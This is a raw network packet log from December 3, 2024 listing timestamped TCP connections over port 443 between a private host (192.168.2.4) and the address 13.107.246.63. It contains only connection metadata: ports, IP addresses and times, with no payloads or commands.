Dec 3, 2024 10:06:50.660177946 CET	443	49859	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.660257101 CET	49859	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.660408974 CET	49859	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.660424948 CET	443	49859	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.668463945 CET	443	49854	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.671521902 CET	443	49854	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.671576023 CET	49854	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.671613932 CET	49854	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.671623945 CET	443	49854	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.671632051 CET	49854	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.671638012 CET	443	49854	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.673573017 CET	49860	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.673615932 CET	443	49860	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.673691034 CET	49860	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.673811913 CET	49860	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.673825979 CET	443	49860	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.823394060 CET	443	49856	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.823638916 CET	443	49856	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.823704958 CET	49856	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.823750019 CET	49856	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.823750019 CET	49856	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.823770046 CET	443	49856	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.823781013 CET	443	49856	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.826060057 CET	49861	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.826102018 CET	443	49861	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.826160908 CET	49861	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.826319933 CET	49861	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.826333046 CET	443	49861	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.047240019 CET	443	49857	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.088964939 CET	49857	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.088993073 CET	443	49857	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.089437962 CET	49857	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.089445114 CET	443	49857	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.400609970 CET	443	49858	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.401101112 CET	49858	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.401143074 CET	443	49858	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.404165983 CET	49858	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.404174089 CET	443	49858	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.453769922 CET	443	49860	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.484932899 CET	49860	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.484972954 CET	443	49860	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.485647917 CET	49860	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.485654116 CET	443	49860	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.492194891 CET	443	49857	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.496289968 CET	443	49857	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.496341944 CET	443	49857	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.496355057 CET	49857	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.496402979 CET	49857	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.497224092 CET	49857	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.497239113 CET	443	49857	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.497247934 CET	49857	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.497251987 CET	443	49857	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.505955935 CET	443	49859	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.506772995 CET	49859	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.506782055 CET	443	49859	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.510608912 CET	49859	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.510615110 CET	443	49859	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.525367022 CET	49862	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.525396109 CET	443	49862	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.525475025 CET	49862	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.525705099 CET	49862	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.525717020 CET	443	49862	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.608414888 CET	443	49861	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.609529018 CET	49861	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.609555960 CET	443	49861	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.610358953 CET	49861	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.610364914 CET	443	49861	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.844921112 CET	443	49858	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.847951889 CET	443	49858	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.848022938 CET	49858	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.848061085 CET	49858	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.848079920 CET	443	49858	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.848092079 CET	49858	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.848097086 CET	443	49858	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.851016998 CET	49863	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.851061106 CET	443	49863	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.851129055 CET	49863	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.851285934 CET	49863	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.851300955 CET	443	49863	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.897223949 CET	443	49860	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.897341013 CET	443	49860	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.897444963 CET	49860	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.897644043 CET	49860	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.897664070 CET	443	49860	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.897674084 CET	49860	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.897680044 CET	443	49860	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.900300980 CET	49864	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.900343895 CET	443	49864	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.900576115 CET	49864	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.900577068 CET	49864	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.900605917 CET	443	49864	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.959458113 CET	443	49859	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.962611914 CET	443	49859	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.966478109 CET	49859	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.966521025 CET	49859	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.966541052 CET	443	49859	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.966551065 CET	49859	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.966556072 CET	443	49859	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.969010115 CET	49865	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.969054937 CET	443	49865	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:52.969142914 CET	49865	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.969268084 CET	49865	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:52.969284058 CET	443	49865	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:53.052690983 CET	443	49861	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:53.055876970 CET	443	49861	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:53.055943012 CET	443	49861	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:53.055947065 CET	49861	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:53.055993080 CET	49861	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:53.056047916 CET	49861	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:53.056066990 CET	443	49861	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:53.056078911 CET	49861	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:53.056083918 CET	443	49861	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:53.058753967 CET	49866	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:53.058793068 CET	443	49866	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:53.059004068 CET	49866	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:53.059004068 CET	49866	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:53.059031963 CET	443	49866	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:54.243837118 CET	443	49862	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:54.247473001 CET	49862	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:54.247515917 CET	443	49862	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:54.247958899 CET	49862	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:54.247965097 CET	443	49862	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:54.566684008 CET	443	49863	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:54.567265034 CET	49863	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:54.567307949 CET	443	49863	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:54.567743063 CET	49863	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:54.567750931 CET	443	49863	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:54.678935051 CET	443	49862	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:54.682229996 CET	443	49862	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:54.682423115 CET	49862	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:54.682512045 CET	49862	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:54.682532072 CET	443	49862	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:54.682545900 CET	49862	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:54.682550907 CET	443	49862	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:54.685333967 CET	49867	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:54.685376883 CET	443	49867	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:54.685451984 CET	49867	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:54.685590982 CET	49867	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:54.685604095 CET	443	49867	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:54.746304989 CET	443	49864	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:54.746773958 CET	49864	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:54.746793032 CET	443	49864	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:54.747255087 CET	49864	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:54.747258902 CET	443	49864	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:54.752316952 CET	443	49865	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:54.752574921 CET	49865	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:54.752612114 CET	443	49865	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:54.752921104 CET	49865	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:54.752926111 CET	443	49865	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:54.774985075 CET	443	49866	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:54.775388002 CET	49866	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:54.775405884 CET	443	49866	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:54.775923014 CET	49866	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:54.775929928 CET	443	49866	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:55.006886959 CET	443	49863	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:55.010099888 CET	443	49863	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:55.010157108 CET	443	49863	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:55.010164976 CET	49863	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:55.010200024 CET	49863	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:55.018886089 CET	49863	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:55.018918991 CET	443	49863	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:55.018937111 CET	49863	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:55.018943071 CET	443	49863	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:55.084418058 CET	49868	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:55.084464073 CET	443	49868	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:55.084532976 CET	49868	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:55.085031986 CET	49868	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:55.085041046 CET	443	49868	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:55.196515083 CET	443	49865	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:55.199464083 CET	443	49864	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:55.199536085 CET	443	49865	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:55.199585915 CET	443	49865	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:55.199589968 CET	49865	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:55.199635983 CET	49865	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:55.199753046 CET	49865	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:55.199753046 CET	49865	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:55.199783087 CET	443	49865	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:55.199793100 CET	443	49865	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:55.202754021 CET	443	49864	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:55.202804089 CET	49864	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:55.202877045 CET	49869	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:55.202929020 CET	49864	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:55.202930927 CET	443	49869	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:55.202950954 CET	443	49864	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:55.202965975 CET	49864	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:55.202971935 CET	443	49864	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:55.202986002 CET	49869	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:55.205986023 CET	49869	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:55.205990076 CET	49870	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:55.206007004 CET	443	49869	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:55.206028938 CET	443	49870	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:55.206100941 CET	49870	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:55.206199884 CET	49870	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:55.206207991 CET	443	49870	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:55.214143038 CET	443	49866	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:55.218605995 CET	443	49866	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:55.218667030 CET	49866	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:55.220184088 CET	49866	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:55.220196009 CET	443	49866	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:55.220206022 CET	49866	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:55.220210075 CET	443	49866	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:55.237323046 CET	49871	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:55.237400055 CET	443	49871	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:55.237473011 CET	49871	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:55.238039017 CET	49871	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:55.238054991 CET	443	49871	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:56.400722027 CET	443	49867	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:56.401531935 CET	49867	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:56.401561022 CET	443	49867	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:56.402028084 CET	49867	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:56.402033091 CET	443	49867	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:56.835820913 CET	443	49867	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:56.838857889 CET	443	49867	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:56.838907957 CET	443	49867	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:56.838989973 CET	49867	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:56.839061022 CET	49867	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:56.839078903 CET	443	49867	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:56.839088917 CET	49867	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:56.839093924 CET	443	49867	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:56.841829062 CET	49872	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:56.841850996 CET	443	49872	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:56.841928005 CET	49872	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:56.842056990 CET	49872	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:56.842068911 CET	443	49872	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:56.921740055 CET	443	49869	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:56.922205925 CET	443	49870	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:56.922696114 CET	49869	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:56.922722101 CET	49870	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:56.922729969 CET	443	49869	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:56.922736883 CET	443	49870	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:56.923224926 CET	49869	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:56.923227072 CET	49870	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:56.923230886 CET	443	49869	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:56.923233032 CET	443	49870	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:56.928924084 CET	443	49868	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:56.929296017 CET	49868	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:56.929306030 CET	443	49868	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:56.929671049 CET	49868	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:56.929676056 CET	443	49868	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:57.023606062 CET	443	49871	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:57.023981094 CET	49871	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:57.023998976 CET	443	49871	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:57.024441957 CET	49871	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:57.024447918 CET	443	49871	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:57.356571913 CET	443	49870	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:57.356647968 CET	443	49869	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:57.357299089 CET	443	49869	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:57.357338905 CET	49869	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:57.357346058 CET	443	49869	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:57.357414961 CET	49869	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:57.357446909 CET	49869	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:57.357462883 CET	443	49869	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:57.357475996 CET	49869	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:57.357481003 CET	443	49869	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:57.359937906 CET	443	49870	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:57.360009909 CET	49870	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:57.360048056 CET	49870	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:57.360064983 CET	443	49870	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:57.360076904 CET	49870	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:57.360080957 CET	443	49870	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:57.360817909 CET	49873	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:57.360846043 CET	443	49873	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:57.360908031 CET	49873	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:57.361121893 CET	49873	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:57.361133099 CET	443	49873	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:57.362143993 CET	49874	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:57.362180948 CET	443	49874	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:57.362235069 CET	49874	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:57.362360954 CET	49874	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:57.362375021 CET	443	49874	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:57.381261110 CET	443	49868	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:57.385278940 CET	443	49868	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:57.385330915 CET	49868	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:57.385428905 CET	49868	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:57.385432959 CET	443	49868	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:57.385461092 CET	49868	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:57.385463953 CET	443	49868	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:57.387505054 CET	49875	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:57.387516975 CET	443	49875	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:57.387612104 CET	49875	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:57.387703896 CET	49875	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:57.387720108 CET	443	49875	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:57.468123913 CET	443	49871	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:57.468327999 CET	443	49871	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:57.468375921 CET	49871	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:57.471136093 CET	49871	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:57.471144915 CET	443	49871	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:57.480185986 CET	49876	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:57.480206966 CET	443	49876	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:57.480267048 CET	49876	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:57.480807066 CET	49876	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:57.480819941 CET	443	49876	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:58.624429941 CET	443	49872	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:58.624958992 CET	49872	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:58.624991894 CET	443	49872	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:58.625521898 CET	49872	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:58.625526905 CET	443	49872	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.072515965 CET	443	49872	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.075480938 CET	443	49872	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.075536013 CET	49872	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.075577974 CET	49872	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.075589895 CET	443	49872	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.075598955 CET	49872	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.075603962 CET	443	49872	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.078738928 CET	49877	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.078774929 CET	443	49877	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.078833103 CET	49877	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.079022884 CET	49877	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.079035997 CET	443	49877	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.188095093 CET	443	49875	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.188555956 CET	49875	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.188566923 CET	443	49875	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.189146996 CET	49875	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.189155102 CET	443	49875	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.211755037 CET	443	49873	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.211880922 CET	443	49874	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.212204933 CET	49873	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.212217093 CET	443	49873	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.212884903 CET	49873	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.212888956 CET	443	49873	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.213222027 CET	49874	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.213243008 CET	443	49874	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.213691950 CET	49874	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.213696957 CET	443	49874	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.263673067 CET	443	49876	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.264290094 CET	49876	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.264322042 CET	443	49876	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.264940023 CET	49876	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.264945984 CET	443	49876	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.633200884 CET	443	49875	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.636425018 CET	443	49875	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.636478901 CET	443	49875	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.636529922 CET	49875	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.636559010 CET	49875	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.636616945 CET	49875	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.636616945 CET	49875	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.636636972 CET	443	49875	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.636641979 CET	443	49875	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.639439106 CET	49878	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.639482975 CET	443	49878	13.107.246.63	192.168.2.4
